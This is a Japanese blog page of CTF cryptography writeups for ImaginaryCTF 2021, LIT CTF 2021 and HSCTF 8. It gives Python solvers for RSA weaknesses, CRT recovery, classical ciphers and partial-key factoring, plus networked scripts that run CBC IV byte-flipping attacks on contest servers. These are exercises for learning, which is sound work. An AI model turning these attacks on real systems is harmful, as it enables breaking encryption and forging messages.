Attack All Around

今やCTFと競プロばかりだが、トビタテ生のアメリカ留学やTOEFL奮闘記

ImaginaryCTF 2021 Writeup

Crypto全完まであと一問…。悔しいですね。
来週のCrypto CTFがあるので精進します。

Result


f:id:partender810:20210728105530p:plain
result


Writeup

Chicken Caesar Salad 50pts


I remember the good old days when Caesar ciphers were easy…
ファイル:chicken-caesar-salad.txt

ROT18でした。


ictf{wHen_dID_cAEseR_cIphERs_gEt_sO_hARd}



Flip Flops 100pts


Yesterday, Roo bought some new flip flops. Let's see how good at flopping you are.
nc chal.imaginaryctf.org 42011
ファイル:flop.py

DawgCTF 2021 writeup - Attack All Around

こちらと同じ、byte flipping attackですね。

100点問題で難易度高くね!?とひたすらビビっていました。案の定、以降の問題のレベルも高かったです。

from Crypto.Util.number import *
from functools import reduce
from operator import mul
from itertools import combinations
import sys
import socket, struct, telnetlib

# --- common funcs ---
def sock(remoteip, remoteport):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((remoteip, remoteport))
    return s, s.makefile('rw')

def read_until(f, delim='\n'):
    data = ''
    while not data.endswith(delim):
        data += f.read(1)
    return data

    
#HOSTはIPアドレスでも可
HOST, PORT = "chal.imaginaryctf.org", 42011
s, f = sock(HOST, PORT)
print(read_until(f))
print(read_until(f,"solution: "))
sol = input("> ")
s.send(sol.encode()+b"\n")
for _ in range(25-8+1): print(read_until(f))

print(read_until(f,"'gimmeflag'."))
for _ in range(2): print(read_until(f))
print(read_until(f,"> "))
s.send(b"1\n")
pt = "31"*48
print(read_until(f,"(in hex): "))
s.send(pt.encode()+b"\n")
enc = read_until(f).strip()
print("got mes:",enc)

print(read_until(f,"'gimmeflag'."))
for _ in range(2): print(read_until(f))
print(read_until(f,"> "))
s.send(b"2\n")

val = bytes_to_long(b"gimmeflag"+b"\x07"*7)
pt0 = int("31"*16,16)
ct1 = int(enc[:32],16)
key = pt0^ct1
ppt0 = val^key
ans0 = hex(ppt0)[2:]
while len(ans0) < 32: ans0 = "0"+ans0
ans0 += enc[32:64]
print(read_until(f,"(in hex): "))
s.send(ans0.encode()+b"\n")
while True: print(read_until(f))


ictf{fl1p_fl0p_b1ts_fl1pped_b6731f96}



Rock Solid Algorithm 100pts


Something was the wrong size here...
ファイル:secure.txt

nが素因数分解できませんが、e=5と小さいです。Low public exponent attackなのだろう。

c+k×nに5乗根が存在するかどうかbrute forceして、flagを出します。

import gmpy2
from Crypto.Util.number import *

n = 18718668654839418101060350414897678724581774081742102287908765212690862231899547405582997157020093499506177632395430572542600019258424947803591395926472246347413986531437177801754324606200243710836609694453888894668656807471052095014376204102474311740080044776201105722801365112971807912406879483156845216746137339614577267869908065296042390812575960639865867729920434603853708907147465162697098688239587320232595412227310236678367
e = 5
c = 4061448515799106340420739691775850071489215699577921072934942485890519294380069123037340174441242842518682390853378784679825023237216051766738593812159344136064529711265570171627670665806072255545198689928996413238102114126558579154343844959868438278433954975590137693439216155482228025380904377837299357044104373966173149290333194304831238889245126840666444234215617022142380016275718234640045049962318290976661640301222078289152
tmpc = c
while True:
    m,ch = gmpy2.iroot(tmpc,e)
    if ch:
        print(long_to_bytes(int(m)))
        break
    tmpc += n


ictf{3_isnt_th3_0nly_sm4ll_3xp0n3nt}



Lines 150pts


Try to crack my unbreakable™ encryption! I based it off of the Diffie-Helman key exchange!
ファイル:lines.py, out.txt

複雑なことをしているようですが、sを求めるだけです。a, bは求める必要ありません。

enc_msg = s × msg mod p
s = enc_msg × msg^(-1) mod p

これでsが求まりました。

enc_flag = s × flag mod p
flag = enc_flag × s^(-1) mod p

これでflagも求められました。

p = (省略)
encrypt_flag = (省略)
encrypt_msg = (省略)
msg = bytes_to_long(b":roocursion:")

s = (inverse(msg,p)*encrypt_msg)%p

flag = (encrypt_flag*inverse(s,p))%p
print(long_to_bytes(flag))

これを深夜にやり、翌朝残りをやろうとしていました。


ictf{m0d_4r1th_ftw_1c963241}



New Technology 300pts


If it's not Windows New Technology, what else could NT stand for?
ファイル:new_technology.py

朝起きて、オリンピック見ながらのんびりやるかと思ったらもう既に解かれていました。

まあ、とりあえずやってみるかとコード読んでみたけど分からない…。複雑すぎる。

一日考えて分からなかったので、先に解いた方の解法見てみるとびっくり。

実験してみたらkey = pub * pubであることがわかった
未証明

そんなんあり!?と確かめてみたら、本当でした。とりあえず手元で動かしてみて色々試してみるってのは必要ですね。証明できたら、追記します。


ictf{Would_number_theory_be_new_technology?}



Roll it back 300pts


Once you figure out what this is doing, it could be a straight line to the finish.
ファイル:roll_it_back.py

こちらも先に解かれていた問題です。

itertoolsのislice, cycle, gmpy2のpopcountを調べるのが面倒で放置。けど他の問題も分からんし、と渋々調べてみたらそんなに難しくない。

isliceはリストにするような感じのもの。cycleはリストを無限に長くして、中身はサイクルする感じのもの(a[0], a[1], ... a[n-1], a[0], ...)。popcountは、引数が整数値でいくつbitが立っているか個数を返すものです。

ということで、この部分の逆関数を頑張って考えます。

for _ in range(421337):
    flag = (flag >> 1) | ((popcount(flag & T) & 1) << (l - 1))

flagを1bit右シフトしたものとpopcountの結果を(l-1)bits左シフトのORが次のflagになります。flagは常にl (=420)bits以下です。

なので、flagの420bit目が立っていたら、popcount( (前のflag) & T) が1になります。ORの左側の演算では必ず419bits以下になるからですね。flagの420bit目が立っていない場合、popcount( (前のflag) & T) が0になります。

次に、前のflagを1bit右シフトしているので、前のflagの最下位ビットが分かりません。しかし、popcountの条件がある、且つTは奇数なのでpopcountの結果は前のflagの最下位ビットに依存します。つまり、前のflagの最下位ビットが一意的に決まります。

このfor文の逆関数はこのようになります。

binf = bin(flag)[2:]
for i in range(421337):
    if binf[0] == "1":
        # (popcount(flag & T) & 1) == 1
        tmp_flag = binf[1:]
        if (popcount(int(tmp_flag+"1",2) & T) & 1) == 1:
            binf = binf[1:]+"1"
        else:
            assert (popcount(int(tmp_flag+"0",2) & T) & 1) == 1
            binf = binf[1:]+"0"
    else:
        #assert flag.bit_length() == l-1
        # (popcount(flag & T) & 1) == 0
        tmp_flag = binf[1:]
        if (popcount(int(tmp_flag+"1",2) & T) & 1) == 0:
            binf = binf[1:]+"1"
        else:
            assert (popcount(int(tmp_flag+"0",2) & T) & 1) == 0
            binf = binf[1:]+"0"
        #assert flag.bit_length() == l-1
    #print(i, flag.bit_length())
    assert len(binf) == l

Tの値がコードに書いてあるものをそのまま実行していいのか、それともfake_flagのところもちゃんと本物のflagにしないといけないのか判断が出来ず、先に解いたチームメイトにヒントをもらいました。自力じゃないです(笑)


ictf{I_did_not_have_linear_relations_with_that_LFSR}



Primetime 300pts


Alice and Bob are meeting up to watch TV, but they've neglected to invite Elise and Gamal! Elise and Gamal intercepted the network traffic between the two, and managed to extract an encrypted message. Can you help them figure out what TV show Alice and Bob will be watching, and when?
Wrap the decrypted message in the flag format before submitting.
ファイル:primetime.py, output.txt

この問題難しかった分、解けて嬉しかったです!

まず、Elementクラスを見ていきましょう。

class Element:
    def __init__(self, n):
        self.n = Element.reduce(n)

    def __str__(self):
        return str(self.n)

    def __add__(self, other):
        return Element(self.n*other.n)

    def __eq__(self, other):
        return self.n == other.n

    def __mul__(self, n):
        if type(n) == int:
            ret = Element(1)
            for c in "{:0128b}".format(n):
                ret += ret
                if c == '1':
                    ret += self
            return ret
        if type(n) == Element:
            ret = Element(1)
            primelist = list(islice(primes(), ELEMENT_LEN))
            for i, num in enumerate(primelist[::-1]):
                cnt = 0
                temp = n.n
                while gcd(temp, num) > 1:
                    cnt += 1
                    temp //= num
                for c in "{:08b}".format(cnt):
                    ret += ret
                    if c == '1':
                        ret += self
            return ret

    @staticmethod
    def encode(b):
        assert len(b) <= ELEMENT_LEN
        ret = 1
        for i, num in enumerate(primes()):
            if i >= len(b):
                return Element(ret)
            ret *= num**b[i]

    @staticmethod
    def reduce(n):
        if n == 0:
            return 0
        primelist = list(islice(primes(), ELEMENT_LEN))
        for i, num in enumerate(primelist):
            while n % (num**256) == 0:
                n //= num**256
                if num != primelist[-1]:
                    n *= primelist[i+1]
        return n

まず、genを生成したencodeを見ていきます。numには素数が小さいものから入っていきます。[2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53] の16個ですね。(素数)bytes列bでのb[i]の積が返されます。

素因数分解するとこうなりました。

gen
53 116
47 112
43 95
41 114
37 48
31 43
29 97
23 114
19 51
17 110
13 51
11 103
7 95
5 51
3 104
2 43

(左側)右側という感じですね。

これを、乱数akey, bkeyでgenとの積を取ります。その積がapub, bpubとなり公開された値となります。

apubをgenで割ったらakeyが出るだろう、とapub%genを見てみると0じゃない。なんで???

Elementクラスでのmulを見てみましょう。

    def __mul__(self, n):
        if type(n) == int:
            ret = Element(1)
            for c in "{:0128b}".format(n):
                ret += ret
                if c == '1':
                    ret += self
            return ret

retにどんどんretを足したり、掛けられる数に該当するselfを足しています。では、addを見てみましょう。

    def __add__(self, other):
        return Element(self.n*other.n)

なんとかけ算しています。足し算がかけ算になるのであったら、かけ算はべき乗になるのでは?と手元でやってみます。Element(23)×11とすると、2311が返ってきました。予想的中!

じゃあなぜ、apub%genが0でないのでしょう。途中でmodとかされているのかなと思ったら、initに罠が。なんと返す時にreduceを通しています。

    @staticmethod
    def reduce(n):
        if n == 0:
            return 0
        primelist = list(islice(primes(), ELEMENT_LEN))
        for i, num in enumerate(primelist):
            while n % (num**256) == 0:
                n //= num**256
                if num != primelist[-1]:
                    n *= primelist[i+1]
        return n

先程の素数の指数が256を越えると、その次の素数の指数が1増えるようです。元の素数の指数は256減るようです。これが原因でした。

つまり、apubはgenのakey乗で、素因数分解して256乗を越えるものはreduce関数でごちゃごちゃさせられます。


途中で繰り上がりのようなものがあって、それを離散対数問題なんて解けるわけ…。ん?繰り上がり?

解法の鍵は繰り上がりでした!

gen, apub, bpubを素因数分解して、その指数を256進数に見立てます。先程のgenで考えると、2の指数が最下桁となりその値は43です。これが256を越えると、その一つ上の位3の指数部分に繰り上がります。また、一番大きい素数53の指数が256を越えた場合は、ただ指数%256になるだけです。つまり、mod 25616 ということです。

このように考えると、genを2乗するとこの256進数を2倍するだけです。つまり、(genの256進数方式) × akey = (apubの256進数方式) mod 25616 となり、akeyを簡単に求められます。

akey = (apubの256進数方式) × (genの256進数方式)^(-1) mod 256^16

これと同様にして、bkeyを求めます。


akey, bkeyが求められたので、sを求めます。これはprimetime.pyにある通りに実行すればOKです。

最後に、mを求めます。

ct及びsを先程と同様に256進数方式で計算します。

ct = m × s
m = (ctの256進数方式) × (sの256進数方式)^(-1) mod 256^16

これでmが求まり、flagが出ました。

from Crypto.Util.number import *

from itertools import islice
from math import gcd
from random import randint

ELEMENT_LEN = 16


def primes():
    num = 2
    while True:
        prime = 1
        for i in range(2, num):
            if num%i == 0:
                prime = 0
        if prime:
            yield num
        num += 1


class Element:
    def __init__(self, n):
        self.n = Element.reduce(n)

    def __str__(self):
        return str(self.n)

    def __add__(self, other):
        return Element(self.n*other.n)

    def __eq__(self, other):
        return self.n == other.n

    def __mul__(self, n):
        if type(n) == int:
            ret = Element(1)
            for c in "{:0128b}".format(n):
                ret += ret
                if c == '1':
                    ret += self
            return ret
        if type(n) == Element:
            ret = Element(1)
            primelist = list(islice(primes(), ELEMENT_LEN))
            for i, num in enumerate(primelist[::-1]):
                cnt = 0
                temp = n.n
                while gcd(temp, num) > 1:
                    cnt += 1
                    temp //= num
                for c in "{:08b}".format(cnt):
                    ret += ret
                    if c == '1':
                        ret += self
            return ret

    @staticmethod
    def encode(b):
        assert len(b) <= ELEMENT_LEN
        ret = 1
        for i, num in enumerate(primes()):
            if i >= len(b):
                return Element(ret)
            ret *= num**b[i]

    @staticmethod
    def reduce(n):
        if n == 0:
            return 0
        primelist = list(islice(primes(), ELEMENT_LEN))
        for i, num in enumerate(primelist):
            while n % (num**256) == 0:
                n //= num**256
                if num != primelist[-1]:
                    n *= primelist[i+1]
        return n


gen = (省略)
apub = (省略) 
bpub = (省略)
ct = (省略)
Primes = [2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53]
assert len(Primes) == 16
def frame(x):
    ret = []
    for pri in Primes[::-1]:
        cnt = 0
        while True:
            if x%pri == 0:
                cnt += 1
                x //= pri
            else:
                break
        print(pri,cnt)
        ret.append(cnt)
    assert x == 1
    return ret

#gen, apub, bpubを素因数分解
print("gen")
gg = frame(gen)
print()
print("apub")
aa = frame(apub)
print()
print("bpub")
bb = frame(bpub)

#256進数方式で値にする
Gen = 0
for G in gg:
    Gen *= 256
    Gen += G

print(Gen)
Apub = 0
for A in aa:
    Apub *= 256
    Apub += A
Bpub = 0
for B in bb:
    Bpub *= 256
    Bpub += B
Gen_inv = inverse(Gen,pow(256,16))
assert (Gen_inv*Gen)%pow(256,16) == 1

#akey, bkeyを求める
akey = (Apub*Gen_inv)%pow(256,16)
bkey = (Bpub*Gen_inv)%pow(256,16)
print(akey)
print(bkey)

gEn = Element.encode(b"+h3_g3n3ra+0r_pt")
s = gEn*akey*bkey
print(s)
# sの値
S = (省略)
ss = frame(S)
print(ss)
CT = frame(ct)
print(CT)

Ss = 0

for tmps in ss:
    Ss *= 256
    Ss += tmps

Ct = 0
for tmpct in CT:
    Ct *= 256
    Ct += tmpct

s_inv = inverse(Ss,pow(256,16))
assert (s_inv*Ss)%pow(256,16) == 1
m = Ct*s_inv
print(m%pow(256,16))
print(long_to_bytes(m%pow(256,16))[::-1])


ictf{M1st3rRob0t_2045}



Problems&solver

GitHub - ksbowler/ImaginaryCTF2021

Lexington Informatics Tournament CTF 2021 writeup

久しぶりにwriteupを書きます。サボっていたわけではなく、一問も解けないCTFが続いたんです…。

Result


f:id:partender810:20210719133016p:plain
久しぶりの好成績


Writeup

7 More Caesar Salads


Here’s an easy Crypto problem, try to decipher mshn{Dlsjvtl_Av_Jyfwavnyhwof}

問題名からCaesar暗号のようですね。以下のサイトで試してみたらROT19で上手くいきました。

rot13.com


flag{Welcome_To_Cryptography}



Zzz


Oh no, somebody shuffled the alphabet, can you help us restore the message? Note that the flag is not wrapped with flag{}, so you will have to do that yourself.
ファイル:zzz.txt

アルファベットをシャッフルしたと問題文にあるので、換字式暗号です。quipquipの出番です。

https://www.quipqiup.com/

ここに、zzz.txtの内容を入れてsolveをクリックすると最初の文章がflagになります。flag{}で囲ってsubmitします。


flag{HOW_DO_YOU_KNOW_YOU_ARE_NOT_SLEEPING}



RSA Improved


The standard RSA only uses 2 prime factors, way too insecure. Let’s improve it by using more factors! More is better, ...right?
ファイル:rsa_improved.py, output.txt

問題文から、multiple primes RSAであることが予測できます。トーシェント関数φ(n)は(nを構成する素数-1)の積になります。nをfactorDBなどに投げると簡単に素因数分解できました。予想通り、素数が3個以上でした。問題ファイルからも分かりますね。

from Crypto.Util.number import *
n = (省略)
e = 65537
ct = (省略)


N = [2151055861, 2319991937, 2341310833, 2391906757, 2448497717, 2493514393, 2586983803, 2758321513, 2784469417, 2816940109, 2865965429, 3092165243, 3218701459, 3438516511, 3526137361, 3663803701, 3673658161, 3789550043, 3866428117, 3919632263, 4147385899]
phi = 1
for nn in N: phi *= (nn-1)
d = inverse(e,phi)
m = pow(ct,d,n)
print(long_to_bytes(m))


flag{rsa_1s_4_pr3tty_imp0rt4nt_crypt0_4lg0r1thm}



Geometry is Fun!


We all love GEOMETRY, let's reminisce of all the times our teacher told us to find how large a certain figure is! Remember, Geometry teachers are bad at encrypting messages so the encryption method is not hard :D
(Note that the graphs may not be precise - only use angles/lengths notated in the diagrams)
ファイル:GeoIsFun.png

f:id:partender810:20210719133338p:plain
GeoIsFun.png

何だこの問題は。

問題文を読むと、とりあえず面積を求めよとのこと。やってみましょう。
左上から右に、上から下に(A) ~ (H)と名付けます。

(A)

基本問題ですね。

3 × 6 ÷ 2 = 9


(B)

正三角形で一辺の長さが分かっています。その長さが2重根号になっています。
正三角形の高さは、(辺の長さ) × (√3/2) です。

√(16√3) × { (√(16√3) ) × (√3/2) } ÷ 2  
= { √(16√3) × √(16√3) } × (√3/2) ÷ 2  
= 16√3 × (√3/2) ÷ 2
= 16 × 3 ÷ 2 ÷ 2
= 12

なんと整数になりました。他の問題もそうなるのかなと予想。


(C)

(B)と考え方は同じですね。

√(10√3) × { (√(10√3) ) × √3 } ÷ 2  
= { √(10√3) × √(10√3) } × √3 ÷ 2  
= 10√3 × √3 ÷ 2
= 10 × 3 ÷ 2
= 15


(D)

(A) と同じですね。

22/3 × 6 ÷ 2 = 22


(E)

これもまた簡単ですね。

1 × 10 ÷ 2 = 5


(F)

三辺の長さだけが分かっている二等辺三角形ですね。

ヘロンの公式を使います。

ヘロンの公式 - Wikipedia

ヘロンの公式
面積S = √(s×(s-a)×(s-b)×(s-c) )
ただし、s = (a+b+c)/2, a,b,c は辺の長さ

これを適用します。

s = ( 5√2 + 5√2 + 2)/2 =  5√2 + 1  
S = √(s×(s-a)×(s-b)×(s-c) )
  = √( (5√2 + 1) × (5√2 + 1 - 5√2) × (5√2 + 1 - 5√2) × (5√2 + 1 - 2) )
  = √( (5√2 + 1) × (5√2 - 1) )
  = √( (5√2)×(5√2) - 1×1 ) 
  = √(50 - 1)
  = 7


(G)

三角形の面積を求めるのに、三角関数を使った方法あったなと思いググる

sin(サイン)を用いる三角形の面積公式を解説!

1/2 × 4 × 5 × sin30 = 5


(H)

直角二等辺三角形で、斜辺の長さだけ分かっています。

(一辺の長さ) = 2√15 × √2/2 = √30
(面積) = √30 × √30 ÷ 2 = 30/2 = 15


復号

以下の値が出揃いました。

9, 12, 15, 22, 5, 7, 5, 15

幾何学の先生だから暗号化方式はそんなに難しくないよ、と問題文にあります。

最大値が22であるので、1~26がa~zに対応しているのでは?とエスパー。復号してみると意味のある文になったビンゴ。


flag{ilovegeo}



Scottish Flag


Was is it Scottish or British? Oh who remembers these days
ファイル:scottish_flag.py, output.txt

scottish_flag.pyを読み、何が出力されているか見ると以下の式が成り立ちます。

t0, t1, t2 : 出力  
ct1, ct2 : 求めたいflag
a0, a1 : プログラム内の値。a1は未知。  


ct1^2 + (ct2-a0)^2 = t0 ・・・ (a)  
(ct1-a1)^2 + ct2^2 = t1 ・・・ (b)  
(ct1-a1)^2 + (ct2-a0)^2 = t2 ・・・ (c)  

未知数がct1, ct2, a1の3つに対し3式あるので、これは式同士を足し引きすれば求められますね。

ct2を求める
(b) - (c)

ct2^2 - (ct2-a0)^2 = t1 - t2
2×a0×ct2 - a0^2 = t1 - t2
ct2 = (t1-t2+a0^2) / 2×a0

ct2が求められました。これをlong_to_bytes()すると、

b'mak35_g00d_pro6I3m}'

となり、方向性は間違っていないようです。


ct1を求める
(a)

ct1^2 + (ct2-a0)^2 = t0
ct1 = √(t0 - (ct2-a0)^2 )

右辺のルート内を計算し、平方数であることを確認。二乗根を取ってlong_to_bytes()するとflagの前半が出ました。

b'flag{6r1t15h_cr0s5_'
from Crypto.Util.number import *
import gmpy2

t0 = 11167218166350596634324970518743041384610511755703179147618262518561344714067317278672955466
t1 = 11167218166350596634324970522379402989880404344356627706412007661522873314144716029510966061
t2 = 11167218166350596634324970517500867796567936885101366588743135261789294824144716029510966061
a0 = 1000000000000000000
c2 = (t1-t2+a0*a0) // (2*a0)
print(long_to_bytes(c2))
cc1 = (t0-pow(c2-a0,2))
print(cc1)
c1, ch = gmpy2.iroot(cc1,2)
assert ch
print(long_to_bytes(int(c1)))
flag = long_to_bytes(int(c1))
flag += long_to_bytes(c2)
print(flag)


flag{6r1t15h_cr0s5_mak35_g00d_pro6I3m}



Leftovers


Leftovers are bad, but I guess at least they help the environment by not wasting food.
ファイル:Leftovers.py, output.txt

Leftovers.pyが少し複雑ですが、読み解いて行きましょう。

変数gはPRNGクラスのインスタンスで、そのフィールドの一つであるseedにはflagを数値にしたものが入ります。

配列resには、1~4e10内で乱数を生成させ、その値未満の素数でseedを割った余りがどんどんappendされ、長さは12です。これはoutput.txtにあります。

はい、flagを特定するには中国剰余定理を用います。

生成する乱数ですが、最初にシードを1337として初期化しているので同じものを生成できます。中国剰余定理はsympyにあるので、それを使えば楽勝です。

from sympy.ntheory.modular import crt
import random
from Crypto.Util.number import *
import sympy
import math

val = [16751036754, 7441743891, 13537409447, 12455208971, 16901669565, 15060041617, 15538665605, 192375025, 2176355740, 21877084789, 3184436468, 13214581420]

random.seed(1337)
mod = []
for i in range(len(val)):
    mod.append(sympy.prevprime(random.randint(1,4e10)))

flag, MOD = crt(mod,val)
flag = int(flag)
print(long_to_bytes(flag))

なんとこれでは意味ある文字列になりませんでした…。思い違いがあるのかと思ったけど、それではなさそう。

Leftovers.pyに怪しげなassert文がありました。

assert(math.log10(ct) <= 128)

上のプログラムで求めているのは、mod[i]で割ると余りがval[i]になる最小値を求めています。何も最小値が答えとは限りません。求めた最小値に、Π mod[i] (= mod[0]×mod[1]×...×mod[n-1]) をどんどん足していって、long_to_bytes()してb"flag"が含まれていたらそれを出力してプログラムを終わらせます。

from sympy.ntheory.modular import crt
import random
from Crypto.Util.number import *
import sympy
import math

val = [16751036754, 7441743891, 13537409447, 12455208971, 16901669565, 15060041617, 15538665605, 192375025, 2176355740, 21877084789, 3184436468, 13214581420]

random.seed(1337)
mod = []
for i in range(len(val)):
    mod.append(sympy.prevprime(random.randint(1,4e10)))


flag, MOD = crt(mod,val)
flag = int(flag)
while math.log10(flag) <= 128:
    FLAG = long_to_bytes(flag)
    flag += MOD
    if b"flag" in FLAG:
        print(FLAG)
        break


flag{ch1nese_f00d_l3ft0v3r_th30r3m_1s_v3ry_d3l1c10u5}



Problems&Solver

GitHub - ksbowler/LITCTF2021

おわりに


最近研究の方も忙しくなり、CTFに参加しても最初の一問がすぐ解けないとそっとPCを閉じていました。CTFとの両立頑張りますが、期待はしないでください(笑)
久しぶりにwriteup書いたので、いつもの形式が違うとかあったらすみません

hsctf 8 writeup

Result


f:id:partender810:20210622135732p:plain
嬉しい結果!!

Writeup


aptenodytes-forsteri 184pt


Here's a warmup cryptography challenge. Reverse the script, decrypt the output, submit the flag.
ファイル:aptenodytes-forsteri.py, output.txt

flag{}内が大文字アルファベットで、ROT18しているようです。ROT8して復元です。

意味わからない文字列かと思ったけど、キーボードの上段でした。

flag{QWERTYUIOP}


queen-of-the-hill 222pt


After finding a special key of the Hill, which contains a note to visit the Queen of the Hill, our brave Amanda begins her adventure to find the Queen of the Hill’s treasure. How shall she meet the Queen of the Hill? (a=0)
Cipher text: rtca{vbuhp_kaiq_gfj_nx_rda_ujw}
Encryption key:
16 25 8
14 19 5
15 17 3

実は前回のhsctfのcrypto問題、全完まであと少しでした。というのも唯一解けなかった「xkcd.com/2247」がflag出ていたのに見逃していました。

なんでこの話をしたのかというと、どちらもHill Cipherを使っているからです。前回の最終問題が、今回2問目で出てくる!?とかなりビビりました。

これを使って復号しました。

Hill Cipher - Decoder, Encoder, Solver - Online Calculator

flag{climb_your_way_to_the_top}


opisthocomus-hoazin 303pt


The plural of calculus is calculi.
ファイル: opisthocomus-hoazin.py, output.txt

flagを1文字ずつ65537とxorしているだけです。

e = 65537
ct = [65639, 65645, 65632, 65638, 65658, 65653, 65609, 65584, 65650, 65630, 65640, 65634, 65586, 65630, 65634, 65651, 65586, 65589, 65644, 65630, 65640, 65588, 65630, 65618, 65646, 65630, 65607, 65651, 65646, 65627, 65586, 65647, 65630, 65640, 65571, 65612, 65630, 65649, 65651, 65586, 65653, 65621, 65656, 65630, 65618, 65652, 65651, 65636, 65630, 65640, 65621, 65574, 65650, 65630, 65589, 65634, 65653, 65652, 65632, 65584, 65645, 65656, 65630, 65635, 65586, 65647, 65605, 65640, 65647, 65606, 65630, 65644, 65624, 65630, 65588, 65649, 65585, 65614, 65647, 65660]

for c in ct:
    print(chr(e^c),end="")
print()

flag{tH1s_ic3_cr34m_i5_So_FroZ3n_i"M_pr3tTy_Sure_iT's_4ctua1ly_b3nDinG_mY_5p0On}


regulus-satrapa 449pt


Do you like milk?
ファイル:regulus-satrapa.py, output.txt

Coppersmith's Attackかといつものももテクさんの記事を参考にsageを動かしましたが出来ず。

この記事のように、pの下位1bitを仮定してみてそれとqの下位1bitとかけ算した結果、nの下位1bitと合致するのか。合致したら2bit目を仮定して…を繰り返します。

Plaid CTF 2021 XORSA writeup - Attack All Around

pbar = (省略) #pの上位512bits
qbar = (省略) #qの下位512bits
n = (省略)
e = 65537
c = (省略)

sys.setrecursionlimit(100000)
def multiply(p,q,n):
    #p,q,nは01の文字列
    if len(p) == 512:
        print("512!!!")
        P = int(p,2)
        print(P)
        P += pbar*pow(2,512)
        if n%P == 0:
            print("factorize!!!!")
            print(P)
            Q = n//P
            phi = (P-1)*(Q-1)
            d = inverse(e,phi)
            m = pow(c,d,n)
            print(long_to_bytes(m))
            return
        return
    x = len(p)+1
    pp = "0"+p
    tmp_n = int(pp,2)*int(q,2)
    if bin(tmp_n)[-x:] == n[-x:]:
        multiply(pp,q,n)
    pp = "1"+p
    tmp_n = int(pp,2)*int(q,2)
    if bin(tmp_n)[-x:] == n[-x:]:
        multiply(pp,q,n)
    

multiply("",bin(qbar)[2:],bin(n)[2:])

flag{H4lf_4nd_H4lf}


canis-lupus-familiaris-bernardus 457pt


Wait, why isn't it a species of bird this time?
nc canis-lupus-familiaris-bernardus.hsc.tf 1337
ファイル:canis-lupus-familiaris-bernardus.py

"JOUX"が含まれた文字列が送られてきたら"F", そうでないなら"T"を送ります。"F"の場合、その文字列をAESのCBCモードで暗号化した際のIVだけ渡されます。暗号文はもらえません。そして、IVをこちらで決めたもので復号し、復号文が"ABCDEFGHIKLMNPQRSTVWYZ"のみで構成されるようにしなければなりません。

これはbyte flipping attackです。

DawgCTF 2021 writeup - Attack All Around

次回の勉強会で使おうと思っていた攻撃手法が出てきてびっくりでした。以前出来なかった問題が、今回は解けて嬉しいです。

s, f = sock(HOST, PORT)
for _ in range(40-7+2): read_until(f)
for cnt in range(100):
    recv_m = read_until(f,"peptide? ").split()
    enc = recv_m[1]
    if "J" in recv_m[1] or "O" in recv_m[1] or "U" in recv_m[1] or "X" in recv_m[1]:
        print("F")
        s.send(b"F\n")
        print(read_until(f))
        iv = read_until(f).split()[-1]
        print("iv:",iv)
        riv = ""
        for i in range(len(enc)):
            if enc[i] == "J":
                riv += iv[:2*i]
                t = ord("J")^ord("A")^int(iv[2*i:2*i+2],16)
                t = hex(t)[2:]
                if len(t) == 1: t = "0"+t
                riv += t + iv[2*i+2:]
                break
            if enc[i] == "O":
                riv += iv[:2*i]
                t = ord("O")^ord("A")^int(iv[2*i:2*i+2],16)
                t = hex(t)[2:]
                if len(t) == 1: t = "0"+t
                riv += t + iv[2*i+2:]
                break
            if enc[i] == "U":
                riv += iv[:2*i]
                t = ord("U")^ord("A")^int(iv[2*i:2*i+2],16)
                t = hex(t)[2:]
                if len(t) == 1: t = "0"+t
                riv += t + iv[2*i+2:]
                break
            if enc[i] == "X":
                riv += iv[:2*i]
                t = ord("U")^ord("A")^int(iv[2*i:2*i+2],16)
                t = hex(t)[2:]
                if len(t) == 1: t = "0"+t
                riv += t + iv[2*i+2:]
                break
        read_until(f,"use: ")
        print("modified iv:",riv)
        s.send(riv.encode()+b"\n")
        print(read_until(f)) 
        
    else:
        print("T")
        s.send(b"T\n")
        print(read_until(f))

flag{WATCHING_PPL_GET_PEPTIDED_IS_A_VALID_PEPTIDE}


cyanocitta-cristata-cyanotephra 463pt


Only the ciphertext has changed from the original challenge.
The Blue Jay (Cyanocitta cristata) is a passerine bird in the family Corvidae, native to North America. It is resident through most of eastern and central United States and southern Canada, although western populations may be migratory. It breeds in both deciduous and coniferous forests, and is common near and in residential areas. It is predominately blue with a white chest and underparts, and a blue crest. It has a black, U-shaped collar around its neck and a black border behind the crest. Sexes are similar in size and plumage, and plumage does not vary throughout the year. Four subspecies of the Blue Jay are recognized.
ファイル:cyanocitta-cristata-cyanotephra.sage, output.txt

f(x,y)=c[0]*x^2+c[1]*y^2+c[2]*x*y+c[3]*x+c[4]*y+c[5]

これを解いていきましょう。xs, ys, solnは9種類分かっています。未知数がc[0~5]の6種類なので、6個の式が立てられれば求められます。

A = [ [xs0^2, ys0^2, xs0*ys0, xs0, ys0, 1], ... ] #6×6 正方行列
C = [c[0], c[1], c[2], c[3], c[4], c[5] ] #縦ベクトル
B = [soln[0], soln[1], soln[2], soln[3], soln[4], soln[5] ] #縦ベクトル

A × C = B
A_inv × A × C = A_inv × B
C = A_inv × B

上の式よりCが求められました。よって与えられたa, bからf(a,b)を求め、与えられた暗号文とxorしたらflagが復元されました。

enc = [(与えられたxs, ys, solnをそのままコピペ)]
A = Matrix([[enc[0][0]^2,enc[0][1]^2,enc[0][0]*enc[0][1],enc[0][0],enc[0][1],1], [enc[1][0]^2,enc[1][1]^2,enc[1][0]*enc[1][1],enc[1][0],enc[1][1],1], [enc[2][0]^2,enc[2][1]^2,enc[2][0]*enc[2][1],enc[2][0],enc[2][1],1],[enc[3][0]^2,enc[3][1]^2,enc[3][0]*enc[3][1],enc[3][0],enc[3][1],1],[enc[4][0]^2,enc[4][1]^2,enc[4][0]*enc[4][1],enc[4][0],enc[4][1],1],[enc[5][0]^2,enc[5][1]^2,enc[5][0]*enc[5][1],enc[5][0],enc[5][1],1]])
B = Matrix([[enc[0][2]],[enc[1][2]],[enc[2][2]],[enc[3][2]],[enc[4][2]],[enc[5][2]]])
print((A^-1)*B) # Cとなる
from Crypto.Util.number import *

c = [15323988390216276549, 1211184093130083857, 5875327950550733875, 13889881931964042512, 14473158623602872631, 3300675726605068946]

def f(x,y):
    return c[0]*x*x+c[1]*y*y+c[2]*x*y+c[3]*x+c[4]*y+c[5]

a,b = 966671014274, 431366307057

x = f(a,b)

enc = (省略) #与えられた暗号文
print(x)
print(long_to_bytes(enc^x))

